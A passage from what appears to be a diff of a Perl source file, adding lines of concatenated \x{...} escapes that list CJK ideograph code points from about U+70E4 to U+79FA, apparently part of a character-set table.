+'\x{70E4}\x{70E5}\x{70E6}\x{70E7}\x{70E8}\x{70E9}\x{70EA}\x{70EB}\x{70EC}' .
+'\x{70ED}\x{70EE}\x{70EF}\x{70F0}\x{70F1}\x{70F2}\x{70F3}\x{70F4}\x{70F5}' .
+'\x{70F6}\x{70F7}\x{70F8}\x{70F9}\x{70FA}\x{70FB}\x{70FC}\x{70FD}\x{70FF}' .
+'\x{7100}\x{7101}\x{7102}\x{7103}\x{7104}\x{7105}\x{7106}\x{7107}\x{7109}' .
+'\x{710A}\x{710B}\x{710C}\x{710D}\x{710E}\x{710F}\x{7110}\x{7111}\x{7112}' .
+'\x{7113}\x{7115}\x{7116}\x{7117}\x{7118}\x{7119}\x{711A}\x{711B}\x{711C}' .
+'\x{711D}\x{711E}\x{711F}\x{7120}\x{7121}\x{7122}\x{7123}\x{7125}\x{7126}' .
+'\x{7127}\x{7128}\x{7129}\x{712A}\x{712B}\x{712C}\x{712D}\x{712E}\x{712F}' .
+'\x{7130}\x{7131}\x{7132}\x{7135}\x{7136}\x{7137}\x{7138}\x{7139}\x{713A}' .
+'\x{713B}\x{713D}\x{713E}\x{713F}\x{7140}\x{7141}\x{7142}\x{7143}\x{7144}' .
+'\x{7145}\x{7146}\x{7147}\x{7148}\x{7149}\x{714A}\x{714B}\x{714C}\x{714D}' .
+'\x{714E}\x{714F}\x{7150}\x{7151}\x{7152}\x{7153}\x{7154}\x{7156}\x{7158}' .
+'\x{7159}\x{715A}\x{715B}\x{715C}\x{715D}\x{715E}\x{715F}\x{7160}\x{7161}' .
+'\x{7162}\x{7163}\x{7164}\x{7165}\x{7166}\x{7167}\x{7168}\x{7169}\x{716A}' .
+'\x{716C}\x{716E}\x{716F}\x{7170}\x{7171}\x{7172}\x{7173}\x{7174}\x{7175}' .
+'\x{7176}\x{7177}\x{7178}\x{7179}\x{717A}\x{717B}\x{717C}\x{717D}\x{717E}' .
+'\x{717F}\x{7180}\x{7181}\x{7182}\x{7183}\x{7184}\x{7185}\x{7186}\x{7187}' .
+'\x{7188}\x{7189}\x{718A}\x{718B}\x{718C}\x{718E}\x{718F}\x{7190}\x{7191}' .
+'\x{7192}\x{7193}\x{7194}\x{7195}\x{7197}\x{7198}\x{7199}\x{719A}\x{719B}' .
+'\x{719C}\x{719D}\x{719E}\x{719F}\x{71A0}\x{71A1}\x{71A2}\x{71A3}\x{71A4}' .
+'\x{71A5}\x{71A7}\x{71A8}\x{71A9}\x{71AA}\x{71AC}\x{71AD}\x{71AE}\x{71AF}' .
+'\x{71B0}\x{71B1}\x{71B2}\x{71B3}\x{71B4}\x{71B5}\x{71B7}\x{71B8}\x{71B9}' .
+'\x{71BA}\x{71BB}\x{71BC}\x{71BD}\x{71BE}\x{71BF}\x{71C0}\x{71C1}\x{71C2}' .
+'\x{71C3}\x{71C4}\x{71C5}\x{71C6}\x{71C7}\x{71C8}\x{71C9}\x{71CA}\x{71CB}' .
+'\x{71CD}\x{71CE}\x{71CF}\x{71D0}\x{71D1}\x{71D2}\x{71D4}\x{71D5}\x{71D6}' .
+'\x{71D7}\x{71D8}\x{71D9}\x{71DA}\x{71DB}\x{71DC}\x{71DD}\x{71DE}\x{71DF}' .
+'\x{71E0}\x{71E1}\x{71E2}\x{71E3}\x{71E4}\x{71E5}\x{71E6}\x{71E7}\x{71E8}' .
+'\x{71E9}\x{71EA}\x{71EB}\x{71EC}\x{71ED}\x{71EE}\x{71EF}\x{71F0}\x{71F1}' .
+'\x{71F2}\x{71F4}\x{71F5}\x{71F6}\x{71F7}\x{71F8}\x{71F9}\x{71FB}\x{71FC}' .
+'\x{71FD}\x{71FE}\x{71FF}\x{7201}\x{7202}\x{7203}\x{7204}\x{7205}\x{7206}' .
+'\x{7207}\x{7208}\x{7209}\x{720A}\x{720C}\x{720D}\x{720E}\x{720F}\x{7210}' .
+'\x{7212}\x{7213}\x{7214}\x{7216}\x{7218}\x{7219}\x{721A}\x{721B}\x{721C}' .
+'\x{721D}\x{721E}\x{721F}\x{7221}\x{7222}\x{7223}\x{7226}\x{7227}\x{7228}' .
+'\x{7229}\x{722A}\x{722B}\x{722C}\x{722D}\x{722E}\x{7230}\x{7231}\x{7232}' .
+'\x{7233}\x{7235}\x{7236}\x{7237}\x{7238}\x{7239}\x{723A}\x{723B}\x{723C}' .
+'\x{723D}\x{723E}\x{723F}\x{7240}\x{7241}\x{7242}\x{7243}\x{7244}\x{7246}' .
+'\x{7247}\x{7248}\x{7249}\x{724A}\x{724B}\x{724C}\x{724D}\x{724F}\x{7251}' .
+'\x{7252}\x{7253}\x{7254}\x{7256}\x{7257}\x{7258}\x{7259}\x{725A}\x{725B}' .
+'\x{725C}\x{725D}\x{725E}\x{725F}\x{7260}\x{7261}\x{7262}\x{7263}\x{7264}' .
+'\x{7265}\x{7266}\x{7267}\x{7268}\x{7269}\x{726A}\x{726B}\x{726C}\x{726D}' .
+'\x{726E}\x{726F}\x{7270}\x{7271}\x{7272}\x{7273}\x{7274}\x{7275}\x{7276}' .
+'\x{7277}\x{7278}\x{7279}\x{727A}\x{727B}\x{727C}\x{727D}\x{727E}\x{727F}' .
+'\x{7280}\x{7281}\x{7282}\x{7283}\x{7284}\x{7285}\x{7286}\x{7287}\x{7288}' .
+'\x{7289}\x{728A}\x{728B}\x{728C}\x{728D}\x{728E}\x{728F}\x{7290}\x{7291}' .
+'\x{7292}\x{7293}\x{7294}\x{7295}\x{7296}\x{7297}\x{7298}\x{7299}\x{729A}' .
+'\x{729B}\x{729C}\x{729D}\x{729E}\x{729F}\x{72A1}\x{72A2}\x{72A3}\x{72A4}' .
+'\x{72A5}\x{72A6}\x{72A7}\x{72A8}\x{72A9}\x{72AA}\x{72AC}\x{72AD}\x{72AE}' .
+'\x{72AF}\x{72B0}\x{72B1}\x{72B2}\x{72B3}\x{72B4}\x{72B5}\x{72B6}\x{72B7}' .
+'\x{72B8}\x{72B9}\x{72BA}\x{72BB}\x{72BC}\x{72BD}\x{72BF}\x{72C0}\x{72C1}' .
+'\x{72C2}\x{72C3}\x{72C4}\x{72C5}\x{72C6}\x{72C7}\x{72C8}\x{72C9}\x{72CA}' .
+'\x{72CB}\x{72CC}\x{72CD}\x{72CE}\x{72CF}\x{72D0}\x{72D1}\x{72D2}\x{72D3}' .
+'\x{72D4}\x{72D5}\x{72D6}\x{72D7}\x{72D8}\x{72D9}\x{72DA}\x{72DB}\x{72DC}' .
+'\x{72DD}\x{72DE}\x{72DF}\x{72E0}\x{72E1}\x{72E2}\x{72E3}\x{72E4}\x{72E5}' .
+'\x{72E6}\x{72E7}\x{72E8}\x{72E9}\x{72EA}\x{72EB}\x{72EC}\x{72ED}\x{72EE}' .
+'\x{72EF}\x{72F0}\x{72F1}\x{72F2}\x{72F3}\x{72F4}\x{72F5}\x{72F6}\x{72F7}' .
+'\x{72F8}\x{72F9}\x{72FA}\x{72FB}\x{72FC}\x{72FD}\x{72FE}\x{72FF}\x{7300}' .
+'\x{7301}\x{7303}\x{7304}\x{7305}\x{7306}\x{7307}\x{7308}\x{7309}\x{730A}' .
+'\x{730B}\x{730C}\x{730D}\x{730E}\x{730F}\x{7311}\x{7312}\x{7313}\x{7314}' .
+'\x{7315}\x{7316}\x{7317}\x{7318}\x{7319}\x{731A}\x{731B}\x{731C}\x{731D}' .
+'\x{731E}\x{7320}\x{7321}\x{7322}\x{7323}\x{7324}\x{7325}\x{7326}\x{7327}' .
+'\x{7329}\x{732A}\x{732B}\x{732C}\x{732D}\x{732E}\x{7330}\x{7331}\x{7332}' .
+'\x{7333}\x{7334}\x{7335}\x{7336}\x{7337}\x{7338}\x{7339}\x{733A}\x{733B}' .
+'\x{733C}\x{733D}\x{733E}\x{733F}\x{7340}\x{7341}\x{7342}\x{7343}\x{7344}' .
+'\x{7345}\x{7346}\x{7347}\x{7348}\x{7349}\x{734A}\x{734B}\x{734C}\x{734D}' .
+'\x{734E}\x{7350}\x{7351}\x{7352}\x{7354}\x{7355}\x{7356}\x{7357}\x{7358}' .
+'\x{7359}\x{735A}\x{735B}\x{735C}\x{735D}\x{735E}\x{735F}\x{7360}\x{7361}' .
+'\x{7362}\x{7364}\x{7365}\x{7366}\x{7367}\x{7368}\x{7369}\x{736A}\x{736B}' .
+'\x{736C}\x{736D}\x{736E}\x{736F}\x{7370}\x{7371}\x{7372}\x{7373}\x{7374}' .
+'\x{7375}\x{7376}\x{7377}\x{7378}\x{7379}\x{737A}\x{737B}\x{737C}\x{737D}' .
+'\x{737E}\x{737F}\x{7380}\x{7381}\x{7382}\x{7383}\x{7384}\x{7385}\x{7386}' .
+'\x{7387}\x{7388}\x{7389}\x{738A}\x{738B}\x{738C}\x{738D}\x{738E}\x{738F}' .
+'\x{7390}\x{7391}\x{7392}\x{7393}\x{7394}\x{7395}\x{7396}\x{7397}\x{7398}' .
+'\x{7399}\x{739A}\x{739B}\x{739D}\x{739E}\x{739F}\x{73A0}\x{73A1}\x{73A2}' .
+'\x{73A3}\x{73A4}\x{73A5}\x{73A6}\x{73A7}\x{73A8}\x{73A9}\x{73AA}\x{73AB}' .
+'\x{73AC}\x{73AD}\x{73AE}\x{73AF}\x{73B0}\x{73B1}\x{73B2}\x{73B3}\x{73B4}' .
+'\x{73B5}\x{73B6}\x{73B7}\x{73B8}\x{73B9}\x{73BA}\x{73BB}\x{73BC}\x{73BD}' .
+'\x{73BE}\x{73BF}\x{73C0}\x{73C2}\x{73C3}\x{73C4}\x{73C5}\x{73C6}\x{73C7}' .
+'\x{73C8}\x{73C9}\x{73CA}\x{73CB}\x{73CC}\x{73CD}\x{73CE}\x{73CF}\x{73D0}' .
+'\x{73D1}\x{73D2}\x{73D3}\x{73D4}\x{73D5}\x{73D6}\x{73D7}\x{73D8}\x{73D9}' .
+'\x{73DA}\x{73DB}\x{73DC}\x{73DD}\x{73DE}\x{73DF}\x{73E0}\x{73E2}\x{73E3}' .
+'\x{73E5}\x{73E6}\x{73E7}\x{73E8}\x{73E9}\x{73EA}\x{73EB}\x{73EC}\x{73ED}' .
+'\x{73EE}\x{73EF}\x{73F0}\x{73F1}\x{73F2}\x{73F4}\x{73F5}\x{73F6}\x{73F7}' .
+'\x{73F8}\x{73F9}\x{73FA}\x{73FC}\x{73FD}\x{73FE}\x{73FF}\x{7400}\x{7401}' .
+'\x{7402}\x{7403}\x{7404}\x{7405}\x{7406}\x{7407}\x{7408}\x{7409}\x{740A}' .
+'\x{740B}\x{740C}\x{740D}\x{740E}\x{740F}\x{7410}\x{7411}\x{7412}\x{7413}' .
+'\x{7414}\x{7415}\x{7416}\x{7417}\x{7419}\x{741A}\x{741B}\x{741C}\x{741D}' .
+'\x{741E}\x{741F}\x{7420}\x{7421}\x{7422}\x{7423}\x{7424}\x{7425}\x{7426}' .
+'\x{7427}\x{7428}\x{7429}\x{742A}\x{742B}\x{742C}\x{742D}\x{742E}\x{742F}' .
+'\x{7430}\x{7431}\x{7432}\x{7433}\x{7434}\x{7435}\x{7436}\x{7437}\x{7438}' .
+'\x{743A}\x{743B}\x{743C}\x{743D}\x{743F}\x{7440}\x{7441}\x{7442}\x{7443}' .
+'\x{7444}\x{7445}\x{7446}\x{7448}\x{744A}\x{744B}\x{744C}\x{744D}\x{744E}' .
+'\x{744F}\x{7450}\x{7451}\x{7452}\x{7453}\x{7454}\x{7455}\x{7456}\x{7457}' .
+'\x{7459}\x{745A}\x{745B}\x{745C}\x{745D}\x{745E}\x{745F}\x{7461}\x{7462}' .
+'\x{7463}\x{7464}\x{7465}\x{7466}\x{7467}\x{7468}\x{7469}\x{746A}\x{746B}' .
+'\x{746C}\x{746D}\x{746E}\x{746F}\x{7470}\x{7471}\x{7472}\x{7473}\x{7474}' .
+'\x{7475}\x{7476}\x{7477}\x{7478}\x{7479}\x{747A}\x{747C}\x{747D}\x{747E}' .
+'\x{747F}\x{7480}\x{7481}\x{7482}\x{7483}\x{7485}\x{7486}\x{7487}\x{7488}' .
+'\x{7489}\x{748A}\x{748B}\x{748C}\x{748D}\x{748E}\x{748F}\x{7490}\x{7491}' .
+'\x{7492}\x{7493}\x{7494}\x{7495}\x{7497}\x{7498}\x{7499}\x{749A}\x{749B}' .
+'\x{749C}\x{749E}\x{749F}\x{74A0}\x{74A1}\x{74A3}\x{74A4}\x{74A5}\x{74A6}' .
+'\x{74A7}\x{74A8}\x{74A9}\x{74AA}\x{74AB}\x{74AC}\x{74AD}\x{74AE}\x{74AF}' .
+'\x{74B0}\x{74B1}\x{74B2}\x{74B3}\x{74B4}\x{74B5}\x{74B6}\x{74B7}\x{74B8}' .
+'\x{74B9}\x{74BA}\x{74BB}\x{74BC}\x{74BD}\x{74BE}\x{74BF}\x{74C0}\x{74C1}' .
+'\x{74C2}\x{74C3}\x{74C4}\x{74C5}\x{74C6}\x{74CA}\x{74CB}\x{74CD}\x{74CE}' .
+'\x{74CF}\x{74D0}\x{74D1}\x{74D2}\x{74D3}\x{74D4}\x{74D5}\x{74D6}\x{74D7}' .
+'\x{74D8}\x{74D9}\x{74DA}\x{74DB}\x{74DC}\x{74DD}\x{74DE}\x{74DF}\x{74E0}' .
+'\x{74E1}\x{74E2}\x{74E3}\x{74E4}\x{74E5}\x{74E6}\x{74E7}\x{74E8}\x{74E9}' .
+'\x{74EA}\x{74EC}\x{74ED}\x{74EE}\x{74EF}\x{74F0}\x{74F1}\x{74F2}\x{74F3}' .
+'\x{74F4}\x{74F5}\x{74F6}\x{74F7}\x{74F8}\x{74F9}\x{74FA}\x{74FB}\x{74FC}' .
+'\x{74FD}\x{74FE}\x{74FF}\x{7500}\x{7501}\x{7502}\x{7503}\x{7504}\x{7505}' .
+'\x{7506}\x{7507}\x{7508}\x{7509}\x{750A}\x{750B}\x{750C}\x{750D}\x{750F}' .
+'\x{7510}\x{7511}\x{7512}\x{7513}\x{7514}\x{7515}\x{7516}\x{7517}\x{7518}' .
+'\x{7519}\x{751A}\x{751B}\x{751C}\x{751D}\x{751E}\x{751F}\x{7521}\x{7522}' .
+'\x{7523}\x{7524}\x{7525}\x{7526}\x{7527}\x{7528}\x{7529}\x{752A}\x{752B}' .
+'\x{752C}\x{752D}\x{752E}\x{752F}\x{7530}\x{7531}\x{7532}\x{7533}\x{7535}' .
+'\x{7536}\x{7537}\x{7538}\x{7539}\x{753A}\x{753B}\x{753C}\x{753D}\x{753E}' .
+'\x{753F}\x{7540}\x{7542}\x{7543}\x{7544}\x{7545}\x{7546}\x{7547}\x{7548}' .
+'\x{7549}\x{754B}\x{754C}\x{754D}\x{754E}\x{754F}\x{7550}\x{7551}\x{7553}' .
+'\x{7554}\x{7556}\x{7557}\x{7558}\x{7559}\x{755A}\x{755B}\x{755C}\x{755D}' .
+'\x{755F}\x{7560}\x{7562}\x{7563}\x{7564}\x{7565}\x{7566}\x{7567}\x{7568}' .
+'\x{7569}\x{756A}\x{756B}\x{756C}\x{756D}\x{756E}\x{756F}\x{7570}\x{7572}' .
+'\x{7574}\x{7575}\x{7576}\x{7577}\x{7578}\x{7579}\x{757C}\x{757D}\x{757E}' .
+'\x{757F}\x{7580}\x{7581}\x{7582}\x{7583}\x{7584}\x{7586}\x{7587}\x{7588}' .
+'\x{7589}\x{758A}\x{758B}\x{758C}\x{758D}\x{758F}\x{7590}\x{7591}\x{7592}' .
+'\x{7593}\x{7594}\x{7595}\x{7596}\x{7597}\x{7598}\x{7599}\x{759A}\x{759B}' .
+'\x{759C}\x{759D}\x{759E}\x{759F}\x{75A0}\x{75A1}\x{75A2}\x{75A3}\x{75A4}' .
+'\x{75A5}\x{75A6}\x{75A7}\x{75A8}\x{75AA}\x{75AB}\x{75AC}\x{75AD}\x{75AE}' .
+'\x{75AF}\x{75B0}\x{75B1}\x{75B2}\x{75B3}\x{75B4}\x{75B5}\x{75B6}\x{75B8}' .
+'\x{75B9}\x{75BA}\x{75BB}\x{75BC}\x{75BD}\x{75BE}\x{75BF}\x{75C0}\x{75C1}' .
+'\x{75C2}\x{75C3}\x{75C4}\x{75C5}\x{75C6}\x{75C7}\x{75C8}\x{75C9}\x{75CA}' .
+'\x{75CB}\x{75CC}\x{75CD}\x{75CE}\x{75CF}\x{75D0}\x{75D1}\x{75D2}\x{75D3}' .
+'\x{75D4}\x{75D5}\x{75D6}\x{75D7}\x{75D8}\x{75D9}\x{75DA}\x{75DB}\x{75DD}' .
+'\x{75DE}\x{75DF}\x{75E0}\x{75E1}\x{75E2}\x{75E3}\x{75E4}\x{75E5}\x{75E6}' .
+'\x{75E7}\x{75E8}\x{75EA}\x{75EB}\x{75EC}\x{75ED}\x{75EF}\x{75F0}\x{75F1}' .
+'\x{75F2}\x{75F3}\x{75F4}\x{75F5}\x{75F6}\x{75F7}\x{75F8}\x{75F9}\x{75FA}' .
+'\x{75FB}\x{75FC}\x{75FD}\x{75FE}\x{75FF}\x{7600}\x{7601}\x{7602}\x{7603}' .
+'\x{7604}\x{7605}\x{7606}\x{7607}\x{7608}\x{7609}\x{760A}\x{760B}\x{760C}' .
+'\x{760D}\x{760E}\x{760F}\x{7610}\x{7611}\x{7612}\x{7613}\x{7614}\x{7615}' .
+'\x{7616}\x{7617}\x{7618}\x{7619}\x{761A}\x{761B}\x{761C}\x{761D}\x{761E}' .
+'\x{761F}\x{7620}\x{7621}\x{7622}\x{7623}\x{7624}\x{7625}\x{7626}\x{7627}' .
+'\x{7628}\x{7629}\x{762A}\x{762B}\x{762D}\x{762E}\x{762F}\x{7630}\x{7631}' .
+'\x{7632}\x{7633}\x{7634}\x{7635}\x{7636}\x{7637}\x{7638}\x{7639}\x{763A}' .
+'\x{763B}\x{763C}\x{763D}\x{763E}\x{763F}\x{7640}\x{7641}\x{7642}\x{7643}' .
+'\x{7646}\x{7647}\x{7648}\x{7649}\x{764A}\x{764B}\x{764C}\x{764D}\x{764F}' .
+'\x{7650}\x{7652}\x{7653}\x{7654}\x{7656}\x{7657}\x{7658}\x{7659}\x{765A}' .
+'\x{765B}\x{765C}\x{765D}\x{765E}\x{765F}\x{7660}\x{7661}\x{7662}\x{7663}' .
+'\x{7664}\x{7665}\x{7666}\x{7667}\x{7668}\x{7669}\x{766A}\x{766B}\x{766C}' .
+'\x{766D}\x{766E}\x{766F}\x{7670}\x{7671}\x{7672}\x{7674}\x{7675}\x{7676}' .
+'\x{7677}\x{7678}\x{7679}\x{767B}\x{767C}\x{767D}\x{767E}\x{767F}\x{7680}' .
+'\x{7681}\x{7682}\x{7683}\x{7684}\x{7685}\x{7686}\x{7687}\x{7688}\x{7689}' .
+'\x{768A}\x{768B}\x{768C}\x{768E}\x{768F}\x{7690}\x{7691}\x{7692}\x{7693}' .
+'\x{7694}\x{7695}\x{7696}\x{7697}\x{7698}\x{7699}\x{769A}\x{769B}\x{769C}' .
+'\x{769D}\x{769E}\x{769F}\x{76A0}\x{76A3}\x{76A4}\x{76A6}\x{76A7}\x{76A9}' .
+'\x{76AA}\x{76AB}\x{76AC}\x{76AD}\x{76AE}\x{76AF}\x{76B0}\x{76B1}\x{76B2}' .
+'\x{76B4}\x{76B5}\x{76B7}\x{76B8}\x{76BA}\x{76BB}\x{76BC}\x{76BD}\x{76BE}' .
+'\x{76BF}\x{76C0}\x{76C2}\x{76C3}\x{76C4}\x{76C5}\x{76C6}\x{76C7}\x{76C8}' .
+'\x{76C9}\x{76CA}\x{76CD}\x{76CE}\x{76CF}\x{76D0}\x{76D1}\x{76D2}\x{76D3}' .
+'\x{76D4}\x{76D5}\x{76D6}\x{76D7}\x{76D8}\x{76DA}\x{76DB}\x{76DC}\x{76DD}' .
+'\x{76DE}\x{76DF}\x{76E0}\x{76E1}\x{76E2}\x{76E3}\x{76E4}\x{76E5}\x{76E6}' .
+'\x{76E7}\x{76E8}\x{76E9}\x{76EA}\x{76EC}\x{76ED}\x{76EE}\x{76EF}\x{76F0}' .
+'\x{76F1}\x{76F2}\x{76F3}\x{76F4}\x{76F5}\x{76F6}\x{76F7}\x{76F8}\x{76F9}' .
+'\x{76FA}\x{76FB}\x{76FC}\x{76FD}\x{76FE}\x{76FF}\x{7701}\x{7703}\x{7704}' .
+'\x{7705}\x{7706}\x{7707}\x{7708}\x{7709}\x{770A}\x{770B}\x{770C}\x{770D}' .
+'\x{770F}\x{7710}\x{7711}\x{7712}\x{7713}\x{7714}\x{7715}\x{7716}\x{7717}' .
+'\x{7718}\x{7719}\x{771A}\x{771B}\x{771C}\x{771D}\x{771E}\x{771F}\x{7720}' .
+'\x{7722}\x{7723}\x{7725}\x{7726}\x{7727}\x{7728}\x{7729}\x{772A}\x{772C}' .
+'\x{772D}\x{772E}\x{772F}\x{7730}\x{7731}\x{7732}\x{7733}\x{7734}\x{7735}' .
+'\x{7736}\x{7737}\x{7738}\x{7739}\x{773A}\x{773B}\x{773C}\x{773D}\x{773E}' .
+'\x{7740}\x{7741}\x{7743}\x{7744}\x{7745}\x{7746}\x{7747}\x{7748}\x{7749}' .
+'\x{774A}\x{774B}\x{774C}\x{774D}\x{774E}\x{774F}\x{7750}\x{7751}\x{7752}' .
+'\x{7753}\x{7754}\x{7755}\x{7756}\x{7757}\x{7758}\x{7759}\x{775A}\x{775B}' .
+'\x{775C}\x{775D}\x{775E}\x{775F}\x{7760}\x{7761}\x{7762}\x{7763}\x{7765}' .
+'\x{7766}\x{7767}\x{7768}\x{7769}\x{776A}\x{776B}\x{776C}\x{776D}\x{776E}' .
+'\x{776F}\x{7770}\x{7771}\x{7772}\x{7773}\x{7774}\x{7775}\x{7776}\x{7777}' .
+'\x{7778}\x{7779}\x{777A}\x{777B}\x{777C}\x{777D}\x{777E}\x{777F}\x{7780}' .
+'\x{7781}\x{7782}\x{7783}\x{7784}\x{7785}\x{7786}\x{7787}\x{7788}\x{7789}' .
+'\x{778A}\x{778B}\x{778C}\x{778D}\x{778E}\x{778F}\x{7790}\x{7791}\x{7792}' .
+'\x{7793}\x{7794}\x{7795}\x{7797}\x{7798}\x{7799}\x{779A}\x{779B}\x{779C}' .
+'\x{779D}\x{779E}\x{779F}\x{77A0}\x{77A1}\x{77A2}\x{77A3}\x{77A5}\x{77A6}' .
+'\x{77A7}\x{77A8}\x{77A9}\x{77AA}\x{77AB}\x{77AC}\x{77AD}\x{77AE}\x{77AF}' .
+'\x{77B0}\x{77B1}\x{77B2}\x{77B3}\x{77B4}\x{77B5}\x{77B6}\x{77B7}\x{77B8}' .
+'\x{77B9}\x{77BA}\x{77BB}\x{77BC}\x{77BD}\x{77BF}\x{77C0}\x{77C2}\x{77C3}' .
+'\x{77C4}\x{77C5}\x{77C6}\x{77C7}\x{77C8}\x{77C9}\x{77CA}\x{77CB}\x{77CC}' .
+'\x{77CD}\x{77CE}\x{77CF}\x{77D0}\x{77D1}\x{77D3}\x{77D4}\x{77D5}\x{77D6}' .
+'\x{77D7}\x{77D8}\x{77D9}\x{77DA}\x{77DB}\x{77DC}\x{77DE}\x{77DF}\x{77E0}' .
+'\x{77E1}\x{77E2}\x{77E3}\x{77E5}\x{77E7}\x{77E8}\x{77E9}\x{77EA}\x{77EB}' .
+'\x{77EC}\x{77ED}\x{77EE}\x{77EF}\x{77F0}\x{77F1}\x{77F2}\x{77F3}\x{77F6}' .
+'\x{77F7}\x{77F8}\x{77F9}\x{77FA}\x{77FB}\x{77FC}\x{77FD}\x{77FE}\x{77FF}' .
+'\x{7800}\x{7801}\x{7802}\x{7803}\x{7804}\x{7805}\x{7806}\x{7808}\x{7809}' .
+'\x{780A}\x{780B}\x{780C}\x{780D}\x{780E}\x{780F}\x{7810}\x{7811}\x{7812}' .
+'\x{7813}\x{7814}\x{7815}\x{7816}\x{7817}\x{7818}\x{7819}\x{781A}\x{781B}' .
+'\x{781C}\x{781D}\x{781E}\x{781F}\x{7820}\x{7821}\x{7822}\x{7823}\x{7825}' .
+'\x{7826}\x{7827}\x{7828}\x{7829}\x{782A}\x{782B}\x{782C}\x{782D}\x{782E}' .
+'\x{782F}\x{7830}\x{7831}\x{7832}\x{7833}\x{7834}\x{7835}\x{7837}\x{7838}' .
+'\x{7839}\x{783A}\x{783B}\x{783C}\x{783D}\x{783E}\x{7840}\x{7841}\x{7843}' .
+'\x{7844}\x{7845}\x{7847}\x{7848}\x{7849}\x{784A}\x{784C}\x{784D}\x{784E}' .
+'\x{7850}\x{7851}\x{7852}\x{7853}\x{7854}\x{7855}\x{7856}\x{7857}\x{7858}' .
+'\x{7859}\x{785A}\x{785B}\x{785C}\x{785D}\x{785E}\x{785F}\x{7860}\x{7861}' .
+'\x{7862}\x{7863}\x{7864}\x{7865}\x{7866}\x{7867}\x{7868}\x{7869}\x{786A}' .
+'\x{786B}\x{786C}\x{786D}\x{786E}\x{786F}\x{7870}\x{7871}\x{7872}\x{7873}' .
+'\x{7874}\x{7875}\x{7877}\x{7878}\x{7879}\x{787A}\x{787B}\x{787C}\x{787D}' .
+'\x{787E}\x{787F}\x{7880}\x{7881}\x{7882}\x{7883}\x{7884}\x{7885}\x{7886}' .
+'\x{7887}\x{7889}\x{788A}\x{788B}\x{788C}\x{788D}\x{788E}\x{788F}\x{7890}' .
+'\x{7891}\x{7892}\x{7893}\x{7894}\x{7895}\x{7896}\x{7897}\x{7898}\x{7899}' .
+'\x{789A}\x{789B}\x{789C}\x{789D}\x{789E}\x{789F}\x{78A0}\x{78A1}\x{78A2}' .
+'\x{78A3}\x{78A4}\x{78A5}\x{78A6}\x{78A7}\x{78A8}\x{78A9}\x{78AA}\x{78AB}' .
+'\x{78AC}\x{78AD}\x{78AE}\x{78AF}\x{78B0}\x{78B1}\x{78B2}\x{78B3}\x{78B4}' .
+'\x{78B5}\x{78B6}\x{78B7}\x{78B8}\x{78B9}\x{78BA}\x{78BB}\x{78BC}\x{78BD}' .
+'\x{78BE}\x{78BF}\x{78C0}\x{78C1}\x{78C3}\x{78C4}\x{78C5}\x{78C6}\x{78C8}' .
+'\x{78C9}\x{78CA}\x{78CB}\x{78CC}\x{78CD}\x{78CE}\x{78CF}\x{78D0}\x{78D1}' .
+'\x{78D3}\x{78D4}\x{78D5}\x{78D6}\x{78D7}\x{78D8}\x{78D9}\x{78DA}\x{78DB}' .
+'\x{78DC}\x{78DD}\x{78DE}\x{78DF}\x{78E0}\x{78E1}\x{78E2}\x{78E3}\x{78E4}' .
+'\x{78E5}\x{78E6}\x{78E7}\x{78E8}\x{78E9}\x{78EA}\x{78EB}\x{78EC}\x{78ED}' .
+'\x{78EE}\x{78EF}\x{78F1}\x{78F2}\x{78F3}\x{78F4}\x{78F5}\x{78F6}\x{78F7}' .
+'\x{78F9}\x{78FA}\x{78FB}\x{78FC}\x{78FD}\x{78FE}\x{78FF}\x{7901}\x{7902}' .
+'\x{7903}\x{7904}\x{7905}\x{7906}\x{7907}\x{7909}\x{790A}\x{790B}\x{790C}' .
+'\x{790E}\x{790F}\x{7910}\x{7911}\x{7912}\x{7913}\x{7914}\x{7916}\x{7917}' .
+'\x{7918}\x{7919}\x{791A}\x{791B}\x{791C}\x{791D}\x{791E}\x{7921}\x{7922}' .
+'\x{7923}\x{7924}\x{7925}\x{7926}\x{7927}\x{7928}\x{7929}\x{792A}\x{792B}' .
+'\x{792C}\x{792D}\x{792E}\x{792F}\x{7930}\x{7931}\x{7933}\x{7934}\x{7935}' .
+'\x{7937}\x{7938}\x{7939}\x{793A}\x{793B}\x{793C}\x{793D}\x{793E}\x{793F}' .
+'\x{7940}\x{7941}\x{7942}\x{7943}\x{7944}\x{7945}\x{7946}\x{7947}\x{7948}' .
+'\x{7949}\x{794A}\x{794B}\x{794C}\x{794D}\x{794E}\x{794F}\x{7950}\x{7951}' .
+'\x{7952}\x{7953}\x{7954}\x{7955}\x{7956}\x{7957}\x{7958}\x{795A}\x{795B}' .
+'\x{795C}\x{795D}\x{795E}\x{795F}\x{7960}\x{7961}\x{7962}\x{7963}\x{7964}' .
+'\x{7965}\x{7966}\x{7967}\x{7968}\x{7969}\x{796A}\x{796B}\x{796D}\x{796F}' .
+'\x{7970}\x{7971}\x{7972}\x{7973}\x{7974}\x{7977}\x{7978}\x{7979}\x{797A}' .
+'\x{797B}\x{797C}\x{797D}\x{797E}\x{797F}\x{7980}\x{7981}\x{7982}\x{7983}' .
+'\x{7984}\x{7985}\x{7988}\x{7989}\x{798A}\x{798B}\x{798C}\x{798D}\x{798E}' .
+'\x{798F}\x{7990}\x{7991}\x{7992}\x{7993}\x{7994}\x{7995}\x{7996}\x{7997}' .
+'\x{7998}\x{7999}\x{799A}\x{799B}\x{799C}\x{799F}\x{79A0}\x{79A1}\x{79A2}' .
+'\x{79A3}\x{79A4}\x{79A5}\x{79A6}\x{79A7}\x{79A8}\x{79AA}\x{79AB}\x{79AC}' .
+'\x{79AD}\x{79AE}\x{79AF}\x{79B0}\x{79B1}\x{79B2}\x{79B3}\x{79B4}\x{79B5}' .
+'\x{79B6}\x{79B7}\x{79B8}\x{79B9}\x{79BA}\x{79BB}\x{79BD}\x{79BE}\x{79BF}' .
+'\x{79C0}\x{79C1}\x{79C2}\x{79C3}\x{79C5}\x{79C6}\x{79C8}\x{79C9}\x{79CA}' .
+'\x{79CB}\x{79CD}\x{79CE}\x{79CF}\x{79D0}\x{79D1}\x{79D2}\x{79D3}\x{79D5}' .
+'\x{79D6}\x{79D8}\x{79D9}\x{79DA}\x{79DB}\x{79DC}\x{79DD}\x{79DE}\x{79DF}' .
+'\x{79E0}\x{79E1}\x{79E2}\x{79E3}\x{79E4}\x{79E5}\x{79E6}\x{79E7}\x{79E8}' .
+'\x{79E9}\x{79EA}\x{79EB}\x{79EC}\x{79ED}\x{79EE}\x{79EF}\x{79F0}\x{79F1}' .
+'\x{79F2}\x{79F3}\x{79F4}\x{79F5}\x{79F6}\x{79F7}\x{79F8}\x{79F9}\x{79FA}' .
